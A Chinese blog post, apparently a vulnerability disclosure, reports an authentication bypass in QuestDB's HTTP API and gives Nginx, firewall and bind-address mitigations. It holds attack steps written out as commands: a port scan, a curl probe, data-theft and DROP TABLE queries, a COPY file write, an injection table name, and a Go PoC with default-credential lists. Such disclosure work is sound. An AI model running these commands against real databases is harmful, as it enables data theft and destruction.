QuestDB惊现认证绕过漏洞(CVSS 9.8),大量金融/物联网系统恐成【透明库】

11 阅读7分钟

善意声明

作为一名怀着赤诚之心的安全研究员,我谨在此郑重声明:本次安全审计的唯一目的是帮助改进系统安全性,为保护用户数据安全尽一份力。报告中所有敏感信息均已进行脱敏处理。我始终秉持善意披露、负责任报告的原则,在将漏洞提交至国家信息安全漏洞共享平台(CNVD)的同时,也早已将完整细节同步给 QuestDB 官方安全团队,并积极协助其开发修复补丁。


QuestDB 是谁?

QuestDB 是一个开源的高性能时序数据库,专为快速数据摄入和基于 SQL 的分析而设计。它采用 Java 和 Rust 编写,利用列式存储模型和 SIMD 指令实现极低延迟查询。

它有多火?

在金融交易、物联网传感器数据、DevOps 监控和实时分析等领域,QuestDB 几乎是开发者的首选。

然而,就是这样一款明星产品,却隐藏着一个致命的配置失效漏洞。

默认暴露的接口

默认情况下,QuestDB 暴露多个网络接口:

接口端口协议用途
HTTP REST API9000HTTPSQL 查询、数据导入导出、健康检查
PostgreSQL 线协议8812TCP使用标准客户端访问
InfluxDB 行协议9009TCP高吞吐量数据摄入

更关键的是:所有接口默认监听 0.0.0.0,且未启用任何认证。


漏洞发现:配置为何成了摆设?

许多管理员会通过配置文件开启认证,期望达到这样的安全效果:

http.security=true
pg.security=true
line.tcp.auth.enabled=true
config.validation.strict=true

任何未携带有效凭证的 HTTP 请求访问 /exec 都应返回 401 Unauthorized

然而,实际测试结果令人震惊:即使配置了上述指令,HTTP 端点依然接受所有请求,完全未进行任何凭证验证。

无凭证、错误凭证、畸形头或空凭证的请求全部返回 200 OK 并包含有效的查询结果。


根本原因分析

  • 配置文件可能未被正确读取(路径错误、权限问题)。
  • 解析器可能忽略了特定语法的配置行
  • 特定版本的软件缺陷导致安全标志无法生效。
  • config.validation.strict=true 未能在配置错误时阻止服务启动,使得服务器以默认(不安全)设置运行。

攻击者视角:三步接管数据库

第一步:端口扫描

nmap -p 9000,8812,9009 <目标_IP>

一旦发现 9000 端口开放,攻击者即可确定目标。

第二步:探测认证

curl -v http://<目标_IP>:9000/exec?query=SELECT+1

如果返回 JSON 格式的查询结果(如 {"dataset":}),则确认数据库完全开放。

第三步:为所欲为

  • 数据窃取SELECT * FROM users
  • 数据销毁DROP TABLE critical_logs
  • 文件写入(如果权限允许):
    curl -G --data-urlencode "query=COPY (SELECT 'malicious') TO '/tmp/evil.csv'" http://<目标_IP>:9000/exec
    

SQL注入尝试与发现

在研究过程中,我还尝试探测是否存在 SQL 注入:

CREATE TABLE "test`; DROP TABLE users; --" (ts timestamp, val double);

QuestDB 自身的解析器对标识符处理是安全的,不会执行分号后的多条语句。但这一尝试揭示了应用层拼接 SQL 的潜在风险。如果上层应用未对用户输入进行充分过滤,攻击者仍可能通过表名、列名等注入恶意 SQL。


漏洞验证程序(PoC)核心片段

为了系统性地验证漏洞,我编写了一个 Go 语言自动化探测工具,确认认证强制机制完全失效。

package main

import (
	"encoding/json"
	"fmt"
	"io"
	"net/http"
	"time"
)

var (
	colorRed   = "\033[31m"
	colorReset = "\033[0m"
	baseURL    = "http://localhost:9000/exec?query=SELECT+1"

	users = []string{
		"admin", "quest", "root", "user", "test",
	}
	passwords = []string{
		"quest", "password", "admin", "123456", "questdb", "",
	}

	tests = []TestCase{
		{
			Name:        "无认证头",
			SetAuth:     func(req *http.Request) {},
			ExpectAuth:  true,
		},
		{
			Name: "Basic 错误密码 (admin:wrong)",
			SetAuth: func(req *http.Request) {
				req.SetBasicAuth("admin", "wrong")
			},
			ExpectAuth: true,
		},
		{
			Name: "Basic 空用户名密码 (:)",
			SetAuth: func(req *http.Request) {
				req.SetBasicAuth("", "")
			},
			ExpectAuth: true,
		},
		{
			Name: "Basic admin:quest",
			SetAuth: func(req *http.Request) {
				req.SetBasicAuth("admin", "quest")
			},
			ExpectAuth: false, // 假设这是一个常见默认凭据
		},
		// ... 其他测试用例
		{
			Name: "畸形 Basic 头 (Basic abc1234567890)",
			SetAuth: func(req *http.Request) {
				req.Header.Set("Authorization", "Basic abc1234567890")
			},
			ExpectAuth: true,
		},
		{
			Name: "空 Authorization 头",
			SetAuth: func(req *http.Request) {
				req.Header.Set("Authorization", "")
			},
			ExpectAuth: true,
		},
	}
)

type TestCase struct {
	Name       string
	SetAuth    func(req *http.Request)
	ExpectAuth bool // 我们是否期望这个请求因缺少/错误的认证而失败?
}

func main() {
	// ... (main function logic)
	// 代码逻辑会遍历所有测试用例,发送请求,并检查响应状态码和内容
	// 如果一个应该失败的请求(ExpectAuth=true)却返回了200 OK和有效数据,则证明存在漏洞
}

运行结果:

所有测试用例均返回 200 OK 且包含有效数据,证实认证完全失效。

go run main.go
*** QuestDB 认证绕过测试 POC ***
目标: http://<目标的_IP>:9000/exec?query=SELECT+1
测试时间: 2026-02-14 00:04:13

测试: 无认证头
HTTP 状态码: 200
响应包含有效数据集 (认证绕过成功)
响应预览: {"query": "SELECT 1", "columns":[{"name": "1", "type": "INT"}],"timestamp":-1, "dataset":, "count": 1}
[!] 漏洞确认: 身份验证绕过。预期应返回 401 Unauthorized,但实际返回 200 OK 且包含有效数据负载。

测试: Basic 错误密码 (admin:wrong)
HTTP 状态码: 200
响应包含有效数据集 (认证绕过成功)
... (其他所有测试用例同样失败)

影响与风险分析

风险维度具体危害
机密性业务指标、用户活动、金融交易等敏感时序数据完全暴露
完整性攻击者可任意篡改历史记录,或通过 DROP 操作销毁数据
可用性发起消耗资源的复杂查询,可导致拒绝服务
横向移动被攻陷的实例可作为跳板,进一步渗透内部网络

修复与防御建议

针对当前已确认但尚未发布官方补丁的认证绕过漏洞,建议所有使用 QuestDB 的用户立即采取以下措施:

立即执行的临时缓解方案

在 CNVD 和 QuestDB 官方团队完成漏洞验证并发布修复补丁之前,必须通过外部手段强制保障数据库安全:

  1. 部署 Nginx 反向代理并强制认证 在 QuestDB 实例前部署 Nginx,并配置 HTTP Basic 认证。所有访问请求必须经过 Nginx 代理,通过认证后才转发至后端的 QuestDB 服务。这是目前最有效的临时防护手段。

    Nginx 配置示例:

    location / {
        proxy_pass http://127.0.0.1:9000;
        auth_basic "Restricted Access - QuestDB";
        auth_basic_user_file /etc/nginx/.htpasswd;
    }
    
  2. 网络层严格限制 通过防火墙或安全组,严格限制对 QuestDB 原生端口(9000、8812、9009)的访问,仅允许内部可信 IP 或跳板机连接。

  3. 本地绑定 修改 QuestDB 配置文件,将服务绑定到 127.0.0.1,确保其仅能通过本地反向代理访问:

    http.bind.to=127.0.0.1:9000
    pg.bind.to=127.0.0.1:8812
    line.tcp.bind.to=127.0.0.1:9009
    

等待官方处置

我已将完整漏洞报告提交至 国家信息安全漏洞共享平台(CNVD)QuestDB 官方安全团队,两方均已受理并进入验证流程。

在官方发布正式修复补丁之前,请务必坚持执行上述临时方案,切勿依赖已经失效的内置认证配置。一旦 CNVD 完成审核或 QuestDB 发布新版,我将第一时间同步更新防护建议。

核心原则:在官方验证完成并提供补丁前,必须通过 Nginx 等外部手段强制实施安全控制,绝不能将数据库直接暴露在不可信网络中。


参考资料

本文涉及的技术细节和后续更新,请参考: www.ctkqiang.xin/bug-bounty-…